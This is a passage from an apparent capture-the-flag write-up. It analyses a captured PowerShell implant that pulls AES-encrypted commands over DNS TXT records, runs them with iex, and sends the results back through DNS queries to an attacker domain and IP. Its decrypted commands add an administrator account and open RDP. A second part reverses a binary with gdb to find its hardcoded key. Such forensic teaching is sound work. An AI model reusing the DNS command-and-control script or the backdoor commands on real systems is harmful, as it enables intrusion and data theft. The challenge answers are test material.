    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    $aesManaged.Dispose()
    [System.BitConverter]::ToString($fullData).replace("-","")
}

function Decrypt-String($key, $encryptedStringWithIV) {
    $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
    $IV = $bytes[0..15]
    $aesManaged = Create-AesManagedObject $key $IV
    $decryptor = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $aesManaged.Dispose()
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }} 
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
    }
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}

What it does is that it fetches the DNS record from a random DNS server, decrypts it, and then executes it. However, the DNS server is not responding anymore. So I have no idea what the encrypted text was. But hey, we have the pcap, we can probably get the DNS requests from there.

This PowerShell script is packet # 1926, so we need to look for DNS requests after that. And we see it.

DNS Request

Let's modify this Powershell script to decrypt these strings.

function Create-AesManagedObject($key, $IV) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)

        }
        else {
            $aesManaged.IV = $IV


        }
    }
    if ($key) {

        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Create-AesKey() {

    $aesManaged = Create-AesManagedObject $key $IV
    [System.Convert]::ToBase64String($aesManaged.Key)
}

function Decrypt-String($key, $encryptedStringWithIV) {
    $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
    $IV = $bytes[0..15]
    $aesManaged = Create-AesManagedObject $key $IV
    $decryptor = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $aesManaged.Dispose()
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

$key = "a1E4MUtycWswTmtrMHdqdg=="

[String[]]$encryptedStrings = "Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=", "hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=", "58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=", "eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru", "BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=", "vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=", "M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh"

for ($num = 0 ; $num -le $encryptedStrings.Length-1; $num++) {
    $output = Decrypt-String $key $encryptedStrings[$num];
    echo $output;
}

We get the following output.

hostname
whoami
ipconfig
wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value
net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr
netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389
net start TermService

We see the first part of our flag by base64 decoding the password.

$part1='HTB{y0u_c4n_'

Let's see what data has been exfiltrated. I can write a quick (and dirty) Python script to extract the DNS requests.

#!/usr/bin/python3

import sys
from scapy.all import *

exfiltrated_strings = []
chunks = b""

packets = rdpcap("capture.pcap")
for packet in packets:
    if packet.dport != 53 or packet[IP].dst != "147.182.172.189":
        continue
    if b"start.windowsliveupdater.com" in packet[DNS].qd.qname:
        continue
    if b"windowsliveupdater.com." == packet[DNS].qd.qname:
        continue
    if b"end.windowsliveupdater.com" in packet[DNS].qd.qname:
        exfiltrated_strings.append(chunks)
        chunks = b""
        continue
    chunks += packet[DNS].qd.qname[:32]

print(*exfiltrated_strings, sep="\n\n")

It prints the encrypted data which was sent back to the attacker over DNS.

b'CC1C9AC2958A2E63609272E2B4F8F43632A806549B03AB7E4EB39771AEDA4A1BC1006AC8A03F9776B08321BD6D5247BB'

b'7679895D1CF7C07BB6A348E1AA4AFC655958A6856F1A34AAD5E97EA55B08767035F2497E5836EA0ECA1F1280F59742A3'

b'09E28DD82C14BC32513652DAC2F2C27B0D73A3288A980D8FCEF94BDDCF9E28222A1CA17BB2D90FCD615885634879041420FC39C684A9E371CC3A06542B6660055840BD94CCE65E23613925B4D9D2BA5318EA75BC653004D45D505ED62567017A6FA4E7593D83092F67A81082D9930E99BA20E34AACC4774F067442C6622F5DA2A9B09FF558A8DF000ECBD37804CE663E3521599BC7591005AB6799C57068CF0DC6884CECF01C0CD44FD6B82DB788B35D62F02E4CAA1D973FBECC235AE9F40254C63D3C93C89930DA2C4F42D9FC123D8BAB00ACAB5198AFCC8C6ACD81B19CD264CC6353668CEA4C88C8AEEA1D58980022DA8FA2E917F17C28608818BF550FEA66973B5A8355258AB0AA281AD88F5B9EB103AC666FE09A1D449736335C09484D271C301C6D5780AB2C9FA333BE3B0185BF071FB1205C4DBEAA2241168B0748902A6CE14903C7C47E7C87311044CB9873A4'

b'ECABC349D27C0B0FFFD1ACEEDBE06BB6C2EB000EE4F9B35D6F001500E85642A2DCC8F1BE2CF4D667F458C1DE46D24B1C2E0F5D94E52649C70402C1B0A2FF7B49FC32DDD67F275307A74B2C4D0864B3F0486186DA9443EB747F717B3911C959DC7E300844D60655410C3988238E615D616F33D27F63CE4D1E065A416911BC50D458749599D2CB08DB561988EB2902E05D9886FDDAC2BED6F6DA73637AD2F20CF199B8CE3D9DEE03C0180C7D1198B49C0299B8CE3D9DEE03C0180C7D1198B49C02769E5EE4EAB896D7D3BB478EA1408167769E5EE4EAB896D7D3BB478EA140816779472A243BFB0852AF372323EC1329883C81A3F2AEB1D3DAAE8496E1DBF97F435AE40A09203B890C4A174D77CB7026C4E990A6FB6424A7501823AD31D3D6B6344C7971C8D447C078C4471732AD881C394BC8B1A66E0BED43DDC359269B57D1D5D68DCD2A608BF61716BB47D6FE4D5C9D6E8BB2981F214A8234B0DD0210CA96EB2D6322B0F7F3D748C4C9F8B80EFF5A6921A3D1A8621A49F4D29BC9851D25230B'

b'841BDB4E9E5F8BF721B58E8308177B572E9A015967DA5BF11AC9155FC2159C8F610CD82F818B4BDF5E48722DAF4BEEEBABCE30583F503B484BF99020E28A1B8F282A23FEB3A21C3AD89882F5AC0DD3D57D87875231652D0F4431EC37E51A09D57E2854D11003AB6E2F4BFB4F7E2477DAA44FCA3BC6021777F03F139D458C0524'

b'AE4ABE8A3A88D21DEEA071A72D65A35EF158D9F025897D1843E37B7463EC7833'

The encrypted data which was sent back looks a little different from the data which was received. The encrypt function also looks a little different. Let's see if we can write a decrypt function for that.

# Original
function Create-AesManagedObject($key, $IV) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)

        }
        else {
            $aesManaged.IV = $IV


        }
    }
    if ($key) {

        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Create-AesKey() {

    $aesManaged = Create-AesManagedObject $key $IV
    [System.Convert]::ToBase64String($aesManaged.Key)
}

function Encrypt-String($key, $unencryptedString) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    $aesManaged.Dispose();
    [System.BitConverter]::ToString($fullData).replace("-","")
}

function Decrypt-Mak($key, $encryptedStringWithIV) {
    [byte[]]$bytes = ($encryptedStringWithIV -split '(.{2})' -ne '' -replace '^', '0X')
    $IV = $bytes[0..15]
    $aesManaged = Create-AesManagedObject $key $IV
    $decryptor = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $aesManaged.Dispose()
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

$key = "a1E4MUtycWswTmtrMHdqdg=="


echo (Decrypt-Mak $key "CC1C9AC2958A2E63609272E2B4F8F43632A806549B03AB7E4EB39771AEDA4A1BC1006AC8A03F9776B08321BD6D5247BB")

echo (Decrypt-Mak $key "7679895D1CF7C07BB6A348E1AA4AFC655958A6856F1A34AAD5E97EA55B08767035F2497E5836EA0ECA1F1280F59742A3")

echo (Decrypt-Mak $key "09E28DD82C14BC32513652DAC2F2C27B0D73A3288A980D8FCEF94BDDCF9E28222A1CA17BB2D90FCD615885634879041420FC39C684A9E371CC3A06542B6660055840BD94CCE65E23613925B4D9D2BA5318EA75BC653004D45D505ED62567017A6FA4E7593D83092F67A81082D9930E99BA20E34AACC4774F067442C6622F5DA2A9B09FF558A8DF000ECBD37804CE663E3521599BC7591005AB6799C57068CF0DC6884CECF01C0CD44FD6B82DB788B35D62F02E4CAA1D973FBECC235AE9F40254C63D3C93C89930DA2C4F42D9FC123D8BAB00ACAB5198AFCC8C6ACD81B19CD264CC6353668CEA4C88C8AEEA1D58980022DA8FA2E917F17C28608818BF550FEA66973B5A8355258AB0AA281AD88F5B9EB103AC666FE09A1D449736335C09484D271C301C6D5780AB2C9FA333BE3B0185BF071FB1205C4DBEAA2241168B0748902A6CE14903C7C47E7C87311044CB9873A4")

echo (Decrypt-Mak $key "ECABC349D27C0B0FFFD1ACEEDBE06BB6C2EB000EE4F9B35D6F001500E85642A2DCC8F1BE2CF4D667F458C1DE46D24B1C2E0F5D94E52649C70402C1B0A2FF7B49FC32DDD67F275307A74B2C4D0864B3F0486186DA9443EB747F717B3911C959DC7E300844D60655410C3988238E615D616F33D27F63CE4D1E065A416911BC50D458749599D2CB08DB561988EB2902E05D9886FDDAC2BED6F6DA73637AD2F20CF199B8CE3D9DEE03C0180C7D1198B49C0299B8CE3D9DEE03C0180C7D1198B49C02769E5EE4EAB896D7D3BB478EA1408167769E5EE4EAB896D7D3BB478EA140816779472A243BFB0852AF372323EC1329883C81A3F2AEB1D3DAAE8496E1DBF97F435AE40A09203B890C4A174D77CB7026C4E990A6FB6424A7501823AD31D3D6B6344C7971C8D447C078C4471732AD881C394BC8B1A66E0BED43DDC359269B57D1D5D68DCD2A608BF61716BB47D6FE4D5C9D6E8BB2981F214A8234B0DD0210CA96EB2D6322B0F7F3D748C4C9F8B80EFF5A6921A3D1A8621A49F4D29BC9851D25230B")

echo (Decrypt-Mak $key "841BDB4E9E5F8BF721B58E8308177B572E9A015967DA5BF11AC9155FC2159C8F610CD82F818B4BDF5E48722DAF4BEEEBABCE30583F503B484BF99020E28A1B8F282A23FEB3A21C3AD89882F5AC0DD3D57D87875231652D0F4431EC37E51A09D57E2854D11003AB6E2F4BFB4F7E2477DAA44FCA3BC6021777F03F139D458C0524")

echo (Decrypt-Mak $key "AE4ABE8A3A88D21DEEA071A72D65A35EF158D9F025897D1843E37B7463EC7833")

Executing it with Try It Online service, we see the second part of our flag.

Flag

Reversing - WIDE

We have an elf binary wide and a database file db.ex. Let’s run the program.

./wide db.ex

We get the following output.

Program

We can examine the dimensions 0 to 5, but for 6 which is encrypted, it asks for the key.

Encrypted Dimension

Let's see if we can find the key. Let's try to solve it with IDA as well as pwn-gdb.

Fgets

It takes our input with fgets then loads a value (apparently a single character) from location s2 and compares it with our input first character. Then it does this in a loop comparing all the characters one by one. Let's go to the location s2 and see if other required characters of the key are there. And yes, we see our key.

Key

Now let's solve it with gdb-pwndbg.

gdb-pwndbg ./wide

Let's add a breakpoint to the menu function and execute it.

b menu
r db.ex

Let's disassemble menu.

disassemble menu

This is where it would start comparing the characters.

Comparison

Let's add a breakpoint there.

b *0x0000555555400cfe

And continue with c. It asks the dimension and we can enter 6. Then it asks for the encryption key. Let's enter AAAA. We hit our breakpoint.

Hitting Breakpoint

So it's comparing the first character of our input A with the first character of the actual key s. If we examine the memory address 0x7fffffffdc70, it has our input in sequence.

pwndbg> x/10s 0x7fffffffdc70
0x7fffffffdc70: "A"
0x7fffffffdc72: ""
0x7fffffffdc73: ""
0x7fffffffdc74: "A"
0x7fffffffdc76: ""
0x7fffffffdc77: ""
0x7fffffffdc78: "A"
0x7fffffffdc7a: ""
0x7fffffffdc7b: ""
0x7fffffffdc7c: "A"
pwndbg>

And if we examine the other argument of the wcscmp function, we should get the actual key.

pwndbg> x/1w 0x555555401118
0x555555401118: U"sup3rs3cr3tw1d3"
pwndbg>

So the key is sup3rs3cr3tw1d3. Let's try this key in the program. We get the flag.

Flag